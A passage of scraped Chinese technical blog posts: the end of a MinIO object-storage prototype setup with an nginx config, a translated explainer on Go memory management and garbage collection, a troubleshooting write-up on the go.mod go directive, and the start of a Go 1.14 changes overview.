myminio/image Access permission for `myminio/image` is `none` 根据我们的设计，我们需要给这三个bucket添加外部可读取权限，以image这个bucket为例：\nroot@instance-cspzrq3u:~# mc policy set download myminio/image Access permission for `myminio/image` is set to `download` root@instance-cspzrq3u:~# mc policy get myminio/image Access permission for `myminio/image` is `download` 3. load balancer设置 这里我们使用一个nginx前置在minio集群外部，下面是为minio创建的nginx配置文件(/etc/nginx/conf.d/minio.conf)：\n// /etc/nginx/conf.d/minio.conf upstream minio_cluster { server localhost:9001; server localhost:9002; server localhost:9003; server localhost:9004; } server { listen 9000; server_name myminio.tonybai.com; # To allow special characters in headers ignore_invalid_headers off; # Allow any size file to be uploaded. # Set to a value such as 1000m; to restrict file size to a specific value client_max_body_size 0; # To disable buffering proxy_buffering off; location / { proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header Host $http_host; proxy_connect_timeout 300; # Default is HTTP/1, keepalive is only enabled in HTTP/1.1 proxy_http_version 1.1; proxy_set_header Connection \u0026quot;\u0026quot;; chunked_transfer_encoding off; proxy_pass http://minio_cluster; } location /image/ { proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header Host $http_host; proxy_connect_timeout 300; # Default is HTTP/1, keepalive is only enabled in HTTP/1.1 proxy_http_version 1.1; proxy_set_header Connection \u0026quot;\u0026quot;; chunked_transfer_encoding off; client_max_body_size 1000m; proxy_buffering off; proxy_pass http://minio_cluster; } } 重启nginx（nginx -s reload)。\n我们使用浏览器访问一下http://myminio.tonybai.com:9000/，登录后，你将看到如下页面：\n图：浏览器访问minio web\n选择左侧的”image” bucket，点击右下角的”+”号，我们可以上传一张图片：gopher-daily-logo.png，上传后，我们退出登录。然后通过地址http://myminio.tonybai.com:9000/image/gopher-daily-logo.png访问该图片。你也可以通过wget命令下载该图片：\n$wget -c http://myminio.tonybai.com:9000/image/gopher-daily-logo.png --2020-03-16 15:40:20-- http://myminio.tonybai.com:9000/image/gopher-daily-logo.png 正在解析主机 myminio.tonybai.com (myminio.tonybai.com)... 106.12.69.83 正在连接 myminio.tonybai.com (myminio.tonybai.com)|106.12.69.83|:9000... 已连接。 已发出 HTTP 请求，正在等待回应... 200 OK 长度：59736 (58K) [image/png] 正在保存至: “gopher-daily-logo.png” gopher-daily-logo.png 100%[============================================\u0026gt;] 58.34K 253KB/s 用时 0.2s 2020-03-16 15:40:20 (253 KB/s) - 已保存 “gopher-daily-logo.png” [59736/59736]) 4. 对象清除 我们的需求中，bucket中的数据对象的生命周期是7天，我们可以使用定时工具或一个job通过mc工具对这些过期对象进行清除，比如我们每隔5分钟执行一次下面的命令：\n$mc rm --recursive --force --newer-than 7d myminio/image/ 该命令将递归删除image bucket下早于7天前创建的数据对象。rm命令支持各种条件组合，具体可参考一下mc rm的manual。\n四. 小结 至此，使用minio搭建高性能对象存储的第一步：原型算是顺利搭建ok了。相信在后续对minio的深入使用和了解后，会有更多关于minio的内容和大家分享。\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2020/03/16/build-high-performance-object-storage-with-minio-part1-prototype/","summary":"\u003cp\u003e近期参与了一个项目，该项目有存储大量图片、短视频、音频等\u003ca href=\"https://www.techrepublic.com/article/unstructured-data-the-smart-persons-guide/\"\u003e非结构化数据\u003c/a\u003e的需求。于是我优先在\u003ca href=\"https://tonybai.com/tag/go\"\u003eGo社区\u003c/a\u003e寻找能满足这类需求的开源项目，\u003ca href=\"https://github.com/minio/minio\"\u003eminio\u003c/a\u003e就这样进入了我的视野。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/minio-logo.png\"\u003e\u003c/p\u003e\n\u003cp\u003e图：minio logo\u003c/p\u003e\n\u003cp\u003e其实三年前我就知道了minio，并还下载玩(研)耍(究)了一番，但那时minio的成熟程度与今天相比还是相差较远的(当时需求简单，于是选择了较为熟悉的\u003ca href=\"https://tonybai.com/2015/08/22/intro-of-using-weedfs/\"\u003eweedfs\u003c/a\u003e)。而如今的minio在github上收获了广泛的关注，小星星也是蛮多的(20k+ star)。它不仅被Go社区使用，在其他语言社区也有着广泛应用。我可以\u003cstrong\u003e不负责任\u003c/strong\u003e的说：在对象存储领域，minio大有\u003ca href=\"https://kafka.apache.org/\"\u003ekafka(java技术栈)\u003c/a\u003e在消息队列领域舍我其谁的气概:)。\u003c/p\u003e","title":"使用minio搭建高性能对象存储-第一部分：原型"},{"content":"本文翻译自《Visualizing memory management in Golang》。\n“内存管理”系列的一部分\n在这个由多部分组成的系列文章中，我旨在揭示内存管理背后的概念，并对某些现代编程语言的内存管理机制做更深入的探究。我希望该系列文章可以使您对这些语言在内存管理方面正在发生的事情能有所了解。\n在本章中，我们将研究Go编程语言（Golang）的内存管理。和C/C++、Rust等一样，Go是一种静态类型的编译型语言。因此，Go不需要VM，Go应用程序二进制文件中嵌入了一个小型运行时(Go runtime)，可以处理诸如垃圾收集(GC)，调度和并发之类的语言功能。\n如果您还没有阅读本系列的第一部分，请先阅读它，因为在那篇文章中我解释了栈(stack)和堆(heap)内存之间的区别，这对于理解本文很有用。\n这篇文章基于Go 1.13的默认官方实现，有些概念细节可能会在Go的未来版本中发生变化\nGo内部内存结构 首先，让我们看看Go内部的内存结构是什么样子的。\nGo运行时将Goroutines（G）调度到逻辑处理器（P）上执行。每个P都有一台逻辑机器（M）。在这篇文章中，我们将使用P、M和G。如果您不熟悉Go调度程序，请先阅读《Go调度程序：Ms，Ps和Gs》。\nGoroutine调度原理\n每个Go程序进程都由操作系统（OS）分配了一些虚拟内存，这是该进程可以访问的全部内存。在这个虚拟内存中实际正在使用的内存称为Resident Set（驻留内存)。该空间由内部内存结构管理，如下所示：\nGo内部内存结构原理图\n这是一个简化的视图，基于Go使用的内部对象。实际上，Go将内存划分和分组为页(page)，就像这篇文章描述的那样。\n这与我们在前几章中看到的JVM和V8的内存结构完全不同。如您所见，这里没有分代内存。这样做的主要原因是TCMalloc（线程缓存Malloc），Go自己的内存分配器正是基于该模型实现的。\n让我们看看Go独特的内存构造是什么样子的：\n页堆page heap（mheap） 这里是Go存储动态数据（在编译时无法计算大小的任何数据）的地方。它是最大的内存块，也是进行垃圾收集（GC）的地方。\n驻留内存(resident set)被划分为每个大小为8KB的页，并由一个全局mheap对象管理。\n大对象（大小\u0026gt; 32kb的对象）直接从mheap分配。这些大对象申请请求是以获取中央锁(central lock)为代价的，因此在任何给定时间点只能满足一个P的请求。\nmheap通过将页归类为不同结构进行管理的：\nmspan：mspan是mheap中管理的内存页的最基本结构。这是一个双向链接列表，其中包含起始页面的地址，span size class和span中的页面数量。像TCMalloc一样，Go将内存页按大小分为67个不同类别，大小从8字节到32KB，如下图所示 mspan结构\n每个span存在两个，一个span用于带指针的对象（scan class），一个用于无指针的对象（noscan class）。这在GC期间有帮助，因为noscan类查找活动对象时无需遍历span。\nmcentral：mcentral将相同大小级别的span归类在一起。每个mcentral包含两个mspanList：\nempty：双向span链表，包括没有空闲对象的span或缓存mcache中的span。当此处的span被释放时，它将被移至non-empty span链表。 non-empty：有空闲对象的span双向链表。当从mcentral请求新的span，mcentral将从该链表中获取span并将其移入empty span链表。 如果mcentral没有可用的span，它将向mheap请求新页。\narena：堆在已分配的虚拟内存中根据需要增长和缩小。当需要更多内存时，mheap从虚拟内存中以每块64MB（对于64位体系结构）为单位获取新内存， 这块内存被称为arena。这块内存也会被划分页并映射到span。\nmcache：这是一个非常有趣的构造。mcache是提供给P（逻辑处理器）的高速缓存，用于存储小对象（对象大小\u0026lt;= 32Kb）。尽管这类似于线程堆栈，但它是堆的一部分，用于动态数据。所有类大小的mcache包含scan和noscan类型mspan。Goroutine可以从mcache没有任何锁的情况下获取内存，因为一次P只能有一个锁G。因此，这更有效。mcache从mcentral需要时请求新的span。\n栈 这是栈存储区，每个Goroutine（G）有一个栈。在这里存储了静态数据，包括函数栈帧，静态结构，原生类型值和指向动态结构的指针。这与分配给每个P的mcache不是一回事。\nGo内存使用（栈与堆） 现在我们已经清楚了内存的组织方式，现在让我们看看程序执行时Go是如何使用Stack和Heap的。\n我们使用下面的这个Go程序，代码没有针对正确性进行优化，因此可以忽略诸如不必要的中间变量之类的问题，因此，重点是可视化栈和堆内存的使用情况。\npackage main import \u0026quot;fmt\u0026quot; type Employee struct { name string salary int sales int bonus int } const BONUS_PERCENTAGE = 10 func getBonusPercentage(salary int) int { percentage := (salary * BONUS_PERCENTAGE) / 100 return percentage } func findEmployeeBonus(salary, noOfSales int) int { bonusPercentage := getBonusPercentage(salary) bonus := bonusPercentage * noOfSales return bonus } func main() { var john = Employee{\u0026quot;John\u0026quot;, 5000, 5, 0} john.bonus = findEmployeeBonus(john.salary, john.sales) fmt.Println(john.bonus) } 与许多垃圾回收语言相比，Go的一个主要区别是许多对象直接在程序栈上分配。Go编译器使用一种称为“逃逸分析”的过程来查找其生命周期在编译时已知的对象，并将它们分配在栈上，而不是在垃圾回收的堆内存中。在编译过程中，Go进行了逃逸分析，以确定哪些可以放入栈（静态数据），哪些需要放入堆（动态数据）。我们可以通过运行带有-gcflags '-m'标志的go build命令来查看分析的细节。对于上面的代码，它将输出如下内容：\n❯ go build -gcflags '-m' gc.go # command-line-arguments temp/gc.go:14:6: can inline getBonusPercentage temp/gc.go:19:6: can inline findEmployeeBonus temp/gc.go:20:39: inlining call to getBonusPercentage temp/gc.go:27:32: inlining call to findEmployeeBonus temp/gc.go:27:32: inlining call to getBonusPercentage temp/gc.go:28:13: inlining call to fmt.Println temp/gc.go:28:18: john.bonus escapes to heap temp/gc.go:28:13: io.Writer(os.Stdout) escapes to heap temp/gc.go:28:13: main []interface {} literal does not escape \u0026lt;autogenerated\u0026gt;:1: os.(*File).close .this does not escape 让我们将其可视化。单击下方图片下载幻灯片，然后翻阅幻灯片，以查看上述程序是如何执行的以及如何使用栈和堆存储器的：\n可视化程序执行过程中栈和堆的使用\n正如你看到的：\nmain函数被保存栈中的“main栈帧”中 每个函数调用都作为一个栈帧块被添加到栈中 包括参数和返回值在内的所有静态变量都保存在函数的栈帧块内 无论类型如何，所有静态值都直接存储在栈中。这也适用于全局范畴 所有动态类型都在堆上创建，并且被栈上的指针所引用。小于32Kb的对象由P的mcache分配。这同样适用于全局范畴 具有静态数据的结构体保留在栈上，直到在该位置将任何动态值添加到该结构中为止。该结构被移到堆上。 从当前函数调用的函数被推入堆顶部 当函数返回时，其栈帧将从栈中删除 一旦主过程(main)完成，堆上的对象将不再具有来自Stack的指针的引用，并成为孤立对象 您可以看到，栈是由操作系统自动管理的，而不是Go本身。因此，我们不必担心栈。另一方面，堆并不是由操作系统自动管理的，并且由于其具有最大的内存空间并保存动态数据，因此它可能会成倍增长，从而导致我们的程序随着时间耗尽内存。随着时间的流逝，它也变得支离破碎，使应用程序变慢。解决这些问题是垃圾收集的初衷。\nGo内存管理 Go的内存管理包括在需要内存时自动分配内存，在不再需要内存时进行垃圾回收。这是由标准库完成的(译注：应该是运行时完成的)。与C/C++不同，开发人员不必处理它，并且Go进行的基础管理得到了高效的优化。\n内存分配 许多采用垃圾收集的编程语言都使用分代内存结构来使收集高效，同时进行压缩以减少碎片。正如我们前面所看到的，Go在这里采用了不同的方法，Go在构造内存方面有很大的不同。Go使用线程本地缓存(thread local cache)来加速小对象分配，并维护着scan/noscan的span来加速GC。这种结构以及整个过程避免了碎片，从而在GC期间无需做紧缩处理。让我们看看这种分配是如何发生的。\nGo根据对象的大小决定对象的分配过程，分为三类：\n微小对象(Tiny)（size \u0026lt;16B）：使用mcache的微小分配器分配大小小于16个字节的对象。这是高效的，并且在单个16字节块上可完成多个微小分配。\n微小分配\n小对象（尺寸16B〜32KB）：大小在16个字节和32k字节之间的对象被分配在G运行所在的P的mcache的对应的mspan size class上。\n小对象分配\n在微小型和小型对象分配中，如果mspan的列表为空，分配器将从mheap获取大量的页面用于mspan。如果mheap为空或没有足够大的页面满足分配请求，那么它将从操作系统中分配一组新的页（至少1MB）。\n大对象（大小\u0026gt; 32KB）：大于32 KB的对象直接分配在mheap的相应大小类上(size class)。如果mheap为空或没有足够大的页面满足分配请求，则它将从操作系统中分配一组新的页（至少1MB）。\n大对象分配\n注意：您可以在此处找到以幻灯片形式记录的GIF图像\n垃圾收集(GC) 现在我们知道Go如何分配内存了，让我们再看看它是如何自动回收堆内存的，这对于应用程序的性能非常重要。当程序尝试在堆上分配的内存大于可用内存时，我们会遇到内存不足的错误(out of memory)。不当的堆内存管理也可能导致内存泄漏。\nGo通过垃圾回收机制管理堆内存。简单来说，它释放了孤儿对象(orphan object)使用的内存，所谓孤儿对象是指那些不再被栈直接或间接（通过另一个对象中的引用）引用的对象，从而为创建新对象的分配腾出了空间。\n从Go 1.12版本开始，Go使用了非分代的、并发的、基于三色标记和清除的垃圾回收器。收集过程大致如下所示，由于版本之间的差异，我不想做细节的描述。但是，如果您对此感兴趣，那么我推荐这个很棒的系列文章。\n当完成一定百分比（GC百分比）的堆分配，GC过程就开始了。收集器将在不同工作阶段执行不同的工作：\n标记设置（mark setup, stw）：GC启动时，收集器将打开写屏障(write barrier)，以便可以在下一个并发阶段维护数据完整性。此步骤需要非常小的暂停(stw)，因此每个正在运行的Goroutine都会暂停以启用此功能，然后继续。\n标记（并发执行的）：打开写屏障后，实际的标记过程将并行启动，这个过程将使用可用CPU能力的25%。对应的P将保留，直到该标记过程完成。这个过程是使用专用的Goroutines完成的。在这个过程中，GC标记了堆中的活动对象(被任何活动的Goroutine的栈中引用的）。当采集花费更长的时间时，该过程可以从应用程序中征用活动的Goroutine来辅助标记过程。这称为Mark Assist。\n标记终止（stw）：标记一旦完成，每个活动的Goroutine都会暂停，写入屏障将关闭，清理任务将开始执行。GC还会在此处计算下一个GC目标。完成此操作后，保留的P的会释放回应用程序。\n清除（并发）：当完成收集并尝试分配后，清除过程开始将未标记为活动的对象回收。清除的内存量与分配的内存量是同步的(即回收后的内存马上可以被再分配了)。\n让我们在一个Goroutine中看看这个过程。为了简洁起见，将对象的数量保持较小。单击下面图片，可下载幻灯片，然后翻阅幻灯片查看该过程：\nxx\n我们以一个Goroutine为例，实际过程是对所有活动Goroutine都进行的。首先打开写屏障。 标记过程选择GC root并将其着色为黑色，并以深度优先的树状方式遍历该该根节点里面的指针，将遇到的每个对象都标记为灰色 当它到达noscan span中的某个对象或某个对象不再有指针时，它完成了这个根节点的标记操作并选取下一个GC root对象 当扫描完所有GC root节点之后，它将选取灰色对象，并以类似方式继续遍历其指针 如果在打开写屏障时，指向对象的指针发生任何变化，则该对象将变为灰色，以便GC对其进行重新扫描 当不再有灰色对象留下时，标记过程完成，并且写屏障被关闭 当分配开始时(因为写屏障关闭了)，清除过程也会同步进行 我们看到这里有一些停止世界(stop)的过程，但是通常这个过程非常快，在大多数情况下可以忽略不计。对象的着色在span的gcmarkBits属性中进行。\n结论 这篇文章为您提供了Go内存结构和内存管理的概述。这里不是全面详尽的说明，有许多更高级的概念，实现细节在各个版本之间都在不断变化。但是对于大多数Go开发人员来说，这些信息就已经足够了，我希望它能帮助您编写出更好的、性能更高的应用程序，牢记这些，将有助于您避免下一个内存泄漏问题。\n参考文献 blog.learngoprogramming.com https://blog.learngoprogramming.com/a-visual-guide-to-golang-memory-allocator-from-ground-up-e132258453ed www.ardanlabs.com https://www.ardanlabs.com/blog/2018/12/garbage-collection-in-go-part1-semantics.html povilasv.me https://povilasv.me/go-memory-management/ medium.com/a-journey-with-go https://medium.com/a-journey-with-go/go-memory-management-and-allocation-a7396d430f44 medium.com/a-journey-with-go https://medium.com/a-journey-with-go/go-how-does-the-garbage-collector-mark-the-memory-72cfc12c6976 hub.packtpub.com https://hub.packtpub.com/implementing-memory-management-with-golang-garbage-collector/ making.pusher.com https://making.pusher.com/golangs-real-time-gc-in-theory-and-practice/ segment.com/blog https://segment.com/blog/allocation-efficiency-in-high-performance-go-services/ go101.org https://go101.org/article/memory-block.html 我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2020/03/10/visualizing-memory-management-in-golang/","summary":"\u003cp\u003e本文翻译自\u003ca href=\"https://deepu.tech/memory-management-in-golang/\"\u003e《Visualizing memory management in Golang》\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/visualizing-memory-management-in-golang-1.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e“内存管理”系列的一部分\u003c/p\u003e\n\u003cp\u003e在这个由多部分组成的系列文章中，我旨在揭示内存管理背后的概念，并对某些现代编程语言的内存管理机制做更深入的探究。我希望该系列文章可以使您对这些语言在内存管理方面正在发生的事情能有所了解。\u003c/p\u003e","title":"可视化Go内存管理"},{"content":"在撰写《Go 1.14中值得关注的几个变化》这篇文章时，我使用的试验环境为我的2019款 MacPro，OS版本：10.14.6。我通过下载 https://dl.google.com/go/go1.14.darwin-amd64.tar.gz并解压的方式安装的Go 1.14版本。在我的工作环境中，我通常通过变更GOROOT的方式来使用不同的Go版本。但在进行Go 1.14新增的overlapping interface的实验时，我遇到了一个问题。本文记录的就是这个问题的发现和解决过程，以备自己备忘，也希望能给广大Gopher带来启发。\n1. 问题现象 在我进行overlapping interface试验时，我使用go 1.14编译器编译下面的代码：\n// https://github.com/bigwhite/experiments/blob/master/go1.14-examples/overlapping_interface.go package foo type I interface { f() String() string } type J interface { g() String() string } type IJ interface { I J } 但出乎意料的是我得到了如下的结果：\n$go build overlapping_interface.go # command-line-arguments ./overlapping_interface.go:14:2: duplicate method String 我一脸懵逼啊！我靠！Go 1.14的新增的overlapping interface机制居然不好用！之后我的第一反应就是检查是不是我的当前窗口中GOROOT设置有误，结果：GOROOT设置完全没错！\n于是我又切换到一个Ubuntu 18.04环境下，同样用Go 1.14版本(for linux)编译上述代码，这回编译很顺利，没有报出像MacOS那样的错误。\n接下来进入胡思乱想状态:) 难道是Go team在打包go1.14.darwin-amd64.tar.gz是忘记了这个功能？…. …..\n2. 问题分析过程 我首先到go项目的issue列表查是否有人遇到与我相同的问题，居然没找到，基本肯定是我自己环境的问题了。于是提了一个issue，看看有谁能帮忙分析一下原因。\n不久，Go核心开发团队的Keith Randall提供了一些信息和诊断思路。首先他在他自己的Mac环境无法重现该问题，并也怀疑是不是我的安装方式和环境变量设置的问题。\n于是，我尝试了更换一种Go 1.14的安装方式来重新安装Go 1.14 for MacOS:\n$go get golang.org/dl/go1.14 go: finding golang.org/dl latest go: downloading golang.org/dl v0.0.0-20200302224518-306f3096cb2f go: extracting golang.org/dl v0.0.0-20200302224518-306f3096cb2f $go1.14 download Downloaded 0.0% ( 14448 / 124931758 bytes) ... Downloaded 0.3% ( 391280 / 124931758 bytes) ... ... ... Downloaded 92.5% (115554516 / 124931758 bytes) ... Downloaded 100.0% (124931758 / 124931758 bytes) Unpacking /Users/tonybai/sdk/go1.14/go1.14.darwin-amd64.tar.gz ... Success. You may now run 'go1.14' $go1.14 env GO111MODULE=\u0026quot;on\u0026quot; GOARCH=\u0026quot;amd64\u0026quot; GOBIN=\u0026quot;\u0026quot; GOCACHE=\u0026quot;/Users/tonybai/Library/Caches/go-build\u0026quot; GOENV=\u0026quot;/Users/tonybai/Library/Application Support/go/env\u0026quot; GOEXE=\u0026quot;\u0026quot; GOFLAGS=\u0026quot;\u0026quot; GOHOSTARCH=\u0026quot;amd64\u0026quot; GOHOSTOS=\u0026quot;darwin\u0026quot; GOINSECURE=\u0026quot;\u0026quot; GONOPROXY=\u0026quot;\u0026quot; GONOSUMDB=\u0026quot;\u0026quot; GOOS=\u0026quot;darwin\u0026quot; GOPATH=\u0026quot;/Users/tonybai/Go\u0026quot; GOPRIVATE=\u0026quot;\u0026quot; GOPROXY=\u0026quot;https://goproxy.cn,direct\u0026quot; GOROOT=\u0026quot;/Users/tonybai/sdk/go1.14\u0026quot; GOSUMDB=\u0026quot;off\u0026quot; GOTMPDIR=\u0026quot;\u0026quot; GOTOOLDIR=\u0026quot;/Users/tonybai/sdk/go1.14/pkg/tool/darwin_amd64\u0026quot; GCCGO=\u0026quot;gccgo\u0026quot; AR=\u0026quot;ar\u0026quot; CC=\u0026quot;clang\u0026quot; CXX=\u0026quot;clang++\u0026quot; CGO_ENABLED=\u0026quot;1\u0026quot; GOMOD=\u0026quot;/dev/null\u0026quot; CGO_CFLAGS=\u0026quot;-g -O2\u0026quot; CGO_CPPFLAGS=\u0026quot;\u0026quot; CGO_CXXFLAGS=\u0026quot;-g -O2\u0026quot; CGO_FFLAGS=\u0026quot;-g -O2\u0026quot; CGO_LDFLAGS=\u0026quot;-g -O2\u0026quot; PKG_CONFIG=\u0026quot;pkg-config\u0026quot; GOGCCFLAGS=\u0026quot;-fPIC -m64 -pthread -fno-caret-diagnostics -Qunused-arguments -fmessage-length=0 -fdebug-prefix-map=/var/folders/cz/sbj5kg2d3m3c6j650z0qfm800000gn/T/go-build236598550=/tmp/go-build -gno-record-gcc-switches -fno-common\u0026quot; 我使用renew后的go1.14再来编译最初那段包含了overlapping interface的代码：\n➜ /Users/tonybai/Go/src/github.com/bigwhite/experiments/go1.14-examples git:(master) $go1.14 version go version go1.14 darwin/amd64 ➜ /Users/tonybai/Go/src/github.com/bigwhite/experiments/go1.14-examples git:(master) $go1.14 build overlapping_interface.go # command-line-arguments ./overlapping_interface.go:14:2: duplicate method String 问题依旧！\n为了给Keith Randall提供更多有用信息，我在build时传入-x -v参数：\n➜ /Users/tonybai/Go/src/github.com/bigwhite/experiments/go1.14-examples git:(master) $go1.14 build -x -v overlapping_interface.go WORK=/var/folders/cz/sbj5kg2d3m3c6j650z0qfm800000gn/T/go-build369480074 command-line-arguments mkdir -p $WORK/b001/ cat \u0026gt;$WORK/b001/importcfg \u0026lt;\u0026lt; 'EOF' # internal # import config EOF cd /Users/tonybai/Go/src/github.com/bigwhite/experiments/go1.14-examples /Users/tonybai/sdk/go1.14/pkg/tool/darwin_amd64/compile -o $WORK/b001/_pkg_.a -trimpath \u0026quot;$WORK/b001=\u0026gt;\u0026quot; -p command-line-arguments -lang=go1.12 -complete -buildid 00YuEePKlhV_qKTnJcVK/00YuEePKlhV_qKTnJcVK -goversion go1.14 -D _/Users/tonybai/Go/src/github.com/bigwhite/experiments/go1.14-examples -importcfg $WORK/b001/importcfg -pack -c=4 ./overlapping_interface.go # command-line-arguments ./overlapping_interface.go:14:2: duplicate method String 一段时间后，眼尖的Keith Randall发现了蛛丝马迹：-lang=go 1.12。在我提供的上面build日志中，**“-lang=1.12″**被传给了Go 1.14 compiler，于是虽然贵为go 1.14版本编译器，但它也只能按照go 1.12版本的语法规范对我的代码进行检查和编译，这就是“罪魁祸首”，没跑了！\n3. 问题解决 但是”-lang=1.12″怎么就凭空出现传给了Go 1.14编译器了呢？我查了所有编译器相关的环境变量，也没看到哪里设置了-lang=1.12。正当我处于迷茫状态时，突然go.mod这个文件名浮现在我的脑海中：go.mod中除了module名、一堆require、replace语句之外，还有go 1.12引入的go指示信息(directive)! 顿悟！！！\n上面所有的go build执行都是在我本地的/Users/tonybai/go/src/github.com/bigwhite/experiments/go1.14-examples下执行的。而github.com/bigwhite/experiments这个repo的顶层go.mod文件内容如下：\nmodule github.com/bigwhite/experiments go 1.12 在Go 1.12的release note中，我们看到这样一段说明：\nThe go directive in a go.mod file now indicates the version of the language used by the files within that module. go.mod文件中的go指示器指示该当前module中文件使用的Go语言版本。 当前，我的go.mod中go指示器指示的版本为go 1.12，那么即便是使用Go 1.14版本编译器编译该module下的文件，使用的也是go 1.12的语法。\n解决方法：升级go.mod中的go指示器版本为go 1.14。升级后问题迎刃而解。\n4. 小结 目前仅仅在使用比go.mod中go指示器版本低的go编译器对module下源文件进行编译，在报错的时候才会给出版本不匹配的提示。但是如果使用比go指示器版本高的编译器编译，即便出错，也没有警告提示。因此，在升级go版本时，要小心维护go.mod中的go directive，使其与你使用的go compiler版本匹配。\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2020/03/09/take-care-of-the-go-directive-in-go-dot-mod/","summary":"\u003cp\u003e在撰写《\u003ca href=\"https://tonybai.com/2020/03/08/some-changes-in-go-1-14/\"\u003eGo 1.14中值得关注的几个变化\u003c/a\u003e》这篇文章时，我使用的试验环境为我的2019款 MacPro，OS版本：10.14.6。我通过下载 \u003ccode\u003ehttps://dl.google.com/go/go1.14.darwin-amd64.tar.gz\u003c/code\u003e并解压的方式安装的Go 1.14版本。在我的工作环境中，我通常通过变更\u003ccode\u003eGOROOT\u003c/code\u003e的方式来使用不同的Go版本。但在进行Go 1.14新增的overlapping interface的实验时，我遇到了一个问题。本文记录的就是这个问题的发现和解决过程，以备自己备忘，也希望能给广大Gopher带来启发。\u003c/p\u003e","title":"小心go.mod中的go directive"},{"content":"可能是得益于2020年2月26日Go 1.14的发布，在2020年3月份的TIOBE编程语言排行榜上，Go重新进入TOP 10，而去年同期Go仅排行在第18位。虽然Go语言以及其他主流语言在榜单上的“上蹿下跳”让这个榜单的权威性饱受质疑:)，但Go在这样的一个时间节点能进入TOP 10，对于Gopher和Go社区来说，总还是一个不错的结果。并且在一定层度上说明：Go在努力耕耘十年后，已经在世界主流编程语言之林中牢牢占据了自己的一个位置。\n图：TIOBE编程语言排行榜2020.3月榜单，Go语言重入TOP10\nGo自从宣布Go1 Compatible后，直到这次的Go 1.14发布，Go的语法和核心库都没有做出不兼容的变化。这让很多其他主流语言的拥趸们觉得Go很“无趣”。但这种承诺恰恰是Go团队背后努力付出的结果，因此Go的每个发布版本都值得广大gopher尊重，每个发布版本都是Go团队能拿出的最好版本。\n下面我们就来解读一下Go 1.14的变化，看看这个新版本中有哪些值得我们重点关注的变化。\n一. 语言规范 和其他主流语言相比，Go语言的语法规范的变化那是极其少的（广大Gopher们已经习惯了这个节奏:)），偶尔发布一个变化，那自然是要引起广大Gopher严重关注的:)。不过事先说明：只要Go版本依然是1.x，那么这个规范变化也是backward-compitable的。\nGo 1.14新增的语法变化是：嵌入接口的方法集可重叠。这个变化背后的朴素思想是这样的。看下面代码(来自这里)：\ntype I interface { f(); String() string } type J interface { g(); String() string } type IJ interface { I; J } ----- (1) type IJ interface { f(); g(); String() string } ---- (2) 代码中已知定义的I和J两个接口的方法集中都包含有String() string这个方法。在这样的情况下，我们如果想定义一个方法集合为Union(I, J)的新接口IJ，我们在Go 1.13及之前的版本中只能使用第(2)种方式，即只能在新接口IJ中重新书写一遍所有的方法原型，而无法像第(1)种方式那样使用嵌入接口的简洁方式进行。\nGo 1.14通过支持嵌入接口的方法集可重叠解决了这个问题：\n// go1.14-examples/overlapping_interface.go package foo type I interface { f() String() string } type J interface { g() String() string } type IJ interface { I J } 在go 1.13.6上运行： $go build overlapping_interface.go # command-line-arguments ./overlapping_interface.go:14:2: duplicate method String 但在go 1.14上运行： $go build overlapping_interface.go // 一切ok，无报错 不过对overlapping 